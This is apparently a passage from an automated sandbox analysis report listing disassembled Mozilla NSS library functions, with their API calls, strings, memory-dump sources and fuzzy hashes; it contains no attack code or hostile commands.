PR_SetLogBuffering.NSS3(00004000), ref: 6C6B1F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C6B1F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C6B1F83
PR_SetLogFile.NSS3(00000000), ref: 6C6B1FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C6B1FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C6B1FCB
free.MOZGLUE(00000000), ref: 6C6B1FD2

Strings

NSPR_LOG_FILE, xrefs: 6C6B1F69
timestamp, xrefs: 6C6B1EC4
Unable to create nspr log file '%s', xrefs: 6C6B1FB3
, %n, xrefs: 6C6B1E6B
all, xrefs: 6C6B1F0E
sync, xrefs: 6C6B1E46
append, xrefs: 6C6B1EE6
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C6B1E27
bufsize, xrefs: 6C6B1E9B
NSPR_LOG_MODULES, xrefs: 6C6B1DAD

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: b92089eb6af0d26937e6da0a214851c827b75db88ea7817df570fe725c97d2be
Instruction ID: 011c51b4871e890a2bdd2878e590541caf3a2943027e2740d4a1a6e047491efd
Opcode Fuzzy Hash: b92089eb6af0d26937e6da0a214851c827b75db88ea7817df570fe725c97d2be
Instruction Fuzzy Hash: 9E518EB1E00209ABDF009BE5DD49B9E77F8AF0130DF140538E915EBA01E771E929CB99

Function 6C796E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C64CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6AF9C9,?,6C6AF4DA,6C6AF9C9,?,?,6C67369A), ref: 6C64CA7A
Part of subcall function 6C64CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C64CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C65BE66), ref: 6C796E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C65BE66), ref: 6C796E98
sqlite3_snprintf.NSS3(?,00000000,6C7FAAF9,?,?,?,?,?,?,6C65BE66), ref: 6C796EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C65BE66), ref: 6C796ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C65BE66), ref: 6C796EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C65BE66), ref: 6C796F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C65BE66), ref: 6C796F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C65BE66), ref: 6C796F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C65BE66), ref: 6C796FA6
sqlite3_snprintf.NSS3(?,00000000,6C7FAAF9,00000000,?,?,?,?,?,?,?,6C65BE66), ref: 6C796FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C65BE66), ref: 6C796FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C65BE66), ref: 6C796FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C65BE66), ref: 6C797014
sqlite3_free.NSS3(00000000,?,?,?,?,6C65BE66), ref: 6C79701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C65BE66), ref: 6C797030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C65BE66), ref: 6C79705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C65BE66), ref: 6C797079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C65BE66), ref: 6C797097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C65BE66), ref: 6C7970A0

Strings

P}l, xrefs: 6C7970A8
winGetTempname1, xrefs: 6C79708F
winGetTempname4, xrefs: 6C797046
winGetTempname2, xrefs: 6C7970C4
winGetTempname5, xrefs: 6C797071
mz_etilqs_, xrefs: 6C796F18

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: P}l$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-2545399489
Opcode ID: 9fd978e29d3d3661e6bb72bb95f113416bce72258e54725a32c72410fa8a9ce1
Instruction ID: 4dcb97b330e0b63b56dc00b31f6d3fe144fe9a7fba39de927b46569c55a4d39f
Opcode Fuzzy Hash: 9fd978e29d3d3661e6bb72bb95f113416bce72258e54725a32c72410fa8a9ce1
Instruction Fuzzy Hash: 2251AE71B0011127E7109634AE59FBB365A9F8331CF148638E91697FC1FB25A50EC2DB

Function 6C724C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C714F51,00000000), ref: 6C724C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C714F51,00000000), ref: 6C724C5B
PR_smprintf.NSS3(6C7FAAF9,?,0000002F,?,?,?,00000000,00000000,?,6C714F51,00000000), ref: 6C724C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C714F51,00000000), ref: 6C724CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C724CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C724CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C724D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C714F51,00000000), ref: 6C724D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C714F51,00000000), ref: 6C724D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C724D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C724DA2
free.MOZGLUE(?), ref: 6C724DB9
free.MOZGLUE(00000000), ref: 6C724DCF

Strings

rootFlags, xrefs: 6C724D47
every, xrefs: 6C724CA1
0x%08lx=[%s %s], xrefs: 6C724D80
%s,%s, xrefs: 6C724C4B
ootT, xrefs: 6C724D1A
slotFlags, xrefs: 6C724D34
any, xrefs: 6C724C96
rust, xrefs: 6C724D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C724D9D
timeout, xrefs: 6C724C91

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: c05366be46d2595a19cd48051c6194a606a6f4242addc8e7fd846fe1812fef1d
Instruction ID: 2be6dd9e3e029d9a0ad2cbc59db91713ffa742f43552580261a74254b555411a
Opcode Fuzzy Hash: c05366be46d2595a19cd48051c6194a606a6f4242addc8e7fd846fe1812fef1d
Instruction Fuzzy Hash: 5F418EF190014167DB129F189D866BB36A5AF9231CF054134EC164BB02E739D965D7D3

Function 6C706CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C706910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C706943
Part of subcall function 6C706910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C706957
Part of subcall function 6C706910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C706972
Part of subcall function 6C706910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C706983
Part of subcall function 6C706910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7069AA
Part of subcall function 6C706910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7069BE
Part of subcall function 6C706910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7069D2
Part of subcall function 6C706910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7069DF
Part of subcall function 6C706910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C706A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C706D8C
free.MOZGLUE(00000000), ref: 6C706DC5
free.MOZGLUE(?), ref: 6C706DD6
free.MOZGLUE(?), ref: 6C706DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C706E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C706E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C706E72
free.MOZGLUE(?), ref: 6C706EA7
free.MOZGLUE(?), ref: 6C706EC4
free.MOZGLUE(?), ref: 6C706ED5
free.MOZGLUE(00000000), ref: 6C706EE3
free.MOZGLUE(?), ref: 6C706EF4
free.MOZGLUE(?), ref: 6C706F08
free.MOZGLUE(00000000), ref: 6C706F35
free.MOZGLUE(?), ref: 6C706F44
free.MOZGLUE(?), ref: 6C706F5B
free.MOZGLUE(00000000), ref: 6C706F65

Part of subcall function 6C706C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C70781D,00000000,6C6FBE2C,?,6C706B1D,?,?,?,?,00000000,00000000,6C70781D), ref: 6C706C40
Part of subcall function 6C706C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C70781D,?,6C6FBE2C,?), ref: 6C706C58
Part of subcall function 6C706C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C70781D), ref: 6C706C6F
Part of subcall function 6C706C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C706C84
Part of subcall function 6C706C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C706C96
Part of subcall function 6C706C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C706CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C706F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C706FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C706FF4

Strings

+`ql, xrefs: 6C706D0D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`ql
API String ID: 1304971872-1820350919
Opcode ID: 3e87f67b1a1e73c8a1276753567a1d612776aba3b273a66e3d37c3747b2c3a48
Instruction ID: 17dcdfe6f91fa0b61b93f7f0614d079e9f2bbbbbed1c8d6987bbd24e6ff24d5b
Opcode Fuzzy Hash: 3e87f67b1a1e73c8a1276753567a1d612776aba3b273a66e3d37c3747b2c3a48
Instruction Fuzzy Hash: BAB136F0E0120A9BDF11DBA5DA55B9EBBF8BF04258F140034EC15E7A41E731EA84CBA1

Function 6C6CDDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C6CDDDE

Part of subcall function 6C720FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6C87ED,00000800,6C6BEF74,00000000), ref: 6C721000
Part of subcall function 6C720FF0: PR_NewLock.NSS3(?,00000800,6C6BEF74,00000000), ref: 6C721016
Part of subcall function 6C720FF0: PL_InitArenaPool.NSS3(00000000,security,6C6C87ED,00000008,?,00000800,6C6BEF74,00000000), ref: 6C72102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C6CDDF5

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C6CDE34
PR_Now.NSS3 ref: 6C6CDE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C6CDE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6CDEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6CDEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6CDED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C6CDEF0
PR_smprintf.NSS3(6C7FAAF9,(NULL) (Validity Unknown)), ref: 6C6CDF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6CDF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C6CDF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C6CDF33
free.MOZGLUE(00000000), ref: 6C6CDF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6CDF4B
free.MOZGLUE(00000000), ref: 6C6CDF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6CDF8E

Strings

%s%s, xrefs: 6C6CDEEB
(NULL) (Validity Unknown), xrefs: 6C6CDEFA
{???}, xrefs: 6C6CDE8B

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: c6cd8a23365ce9450ccc0b9dec3a550c2e89e5b2909a63cd1a860d9dfd80220d
Instruction ID: 0facfca522ddb3b4a69499f20c78d9ae5bbcdf93a11b8301347b173c8546ec38
Opcode Fuzzy Hash: c6cd8a23365ce9450ccc0b9dec3a550c2e89e5b2909a63cd1a860d9dfd80220d
Instruction Fuzzy Hash: 6D51C1B1E40205ABDB109E659D85AAF7AF4FF85358F144038E819E7B00E731ED05CBE6

Function 6C702D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C702DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C702E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C702E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C702E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C6D4F1C,?,-00000001,00000000,?), ref: 6C702E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C6D4F1C,?,-00000001,00000000), ref: 6C702E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C702EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C702EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C702EF8
PR_Unlock.NSS3(?), ref: 6C702F62
TlsGetValue.KERNEL32 ref: 6C702F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C702F9E
PR_Unlock.NSS3(?), ref: 6C702FCA
TlsGetValue.KERNEL32 ref: 6C70301A
EnterCriticalSection.KERNEL32(?), ref: 6C70302E
PR_Unlock.NSS3(?), ref: 6C703066
PR_SetError.NSS3(00000000,00000000), ref: 6C703085
PR_Unlock.NSS3(?), ref: 6C7030EC
TlsGetValue.KERNEL32 ref: 6C70310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C703124
PR_Unlock.NSS3(?), ref: 6C70314C

Part of subcall function 6C6E9180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C71379E,?,6C6E9568,00000000,?,6C71379E,?,00000001,?), ref: 6C6E918D
Part of subcall function 6C6E9180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C71379E,?,6C6E9568,00000000,?,6C71379E,?,00000001,?), ref: 6C6E91A0

Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07AD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07CD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07D6
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C64204A), ref: 6C6B07E4
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,6C64204A), ref: 6C6B0864
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6B0880
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C64204A), ref: 6C6B08CB
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08D7
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08FB

PR_SetError.NSS3(00000000,00000000), ref: 6C70316D

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 05424b6d765ea9d043b42754c769cd595d5bb99a0ea4640e1d76ca9e467e54e9
Instruction ID: d20bcc9383593c0f02b1eda56ee6121e9375eec50ceea4e3d8196221511b993c
Opcode Fuzzy Hash: 05424b6d765ea9d043b42754c769cd595d5bb99a0ea4640e1d76ca9e467e54e9
Instruction Fuzzy Hash: 9BF19CB1E00609AFDF00DF64D989A9ABBF5BF09318F144179EC04A7B12E731E995CB91

Function 6C6F6D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C6F6D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C6F6DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C6F6DC3

Part of subcall function 6C7DD930: PL_strncpyz.NSS3(?,?,?), ref: 6C7DD963

PR_LogPrint.NSS3(?,00000000), ref: 6C6F6DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C6F6DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C6F6E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C6F6E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C6F6E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C6F6EB9

Strings

*pulDigestLen = 0x%x, xrefs: 6C6F6EB4
hSession = 0x%x, xrefs: 6C6F6D9E, 6C6F6DAE
(CK_INVALID_HANDLE), xrefs: 6C6F6DBC
pDigest = 0x%p, xrefs: 6C6F6E27
n}l, xrefs: 6C6F6E61, 6C6F6E95
pData = 0x%p, xrefs: 6C6F6DF5
C_Digest, xrefs: 6C6F6D81
ulDataLen = %d, xrefs: 6C6F6E0E
pulDigestLen = 0x%p, xrefs: 6C6F6E42

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$n}l
API String ID: 1003633598-2886070692
Opcode ID: ab767276db9e9b83ddb0ee0b3a85a5bf5bb2e7f9ea618796cb83b44a047aed55
Instruction ID: e075d3153c4c6804521dca93d2512bb1fc80c5166e04ddb27356c77d3ed62a54
Opcode Fuzzy Hash: ab767276db9e9b83ddb0ee0b3a85a5bf5bb2e7f9ea618796cb83b44a047aed55
Instruction Fuzzy Hash: E741D936601104AFDB109F54DE4DE8A3FB6AB4731CF098034E41897A11DB34F90ACBEA

Function 6C704C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C704C4C
EnterCriticalSection.KERNEL32(?), ref: 6C704C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C704CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C704CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C704CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C704D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C704D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C704DB7

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07AD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07CD
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C64204A), ref: 6C6B07D6
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C64204A), ref: 6C6B07E4
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,6C64204A), ref: 6C6B0864
Part of subcall function 6C6B07A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C6B0880
Part of subcall function 6C6B07A0: TlsSetValue.KERNEL32(00000000,?,?,6C64204A), ref: 6C6B08CB
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08D7
Part of subcall function 6C6B07A0: TlsGetValue.KERNEL32(?,?,6C64204A), ref: 6C6B08FB

TlsGetValue.KERNEL32 ref: 6C704DD7
EnterCriticalSection.KERNEL32(?), ref: 6C704DEC
PR_Unlock.NSS3(?), ref: 6C704E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C704E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C704E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C704E71
free.MOZGLUE(00000000), ref: 6C704E7A
PR_Unlock.NSS3(?), ref: 6C704EA2
TlsGetValue.KERNEL32 ref: 6C704EC1
EnterCriticalSection.KERNEL32(?), ref: 6C704ED6
PR_Unlock.NSS3(?), ref: 6C704F01
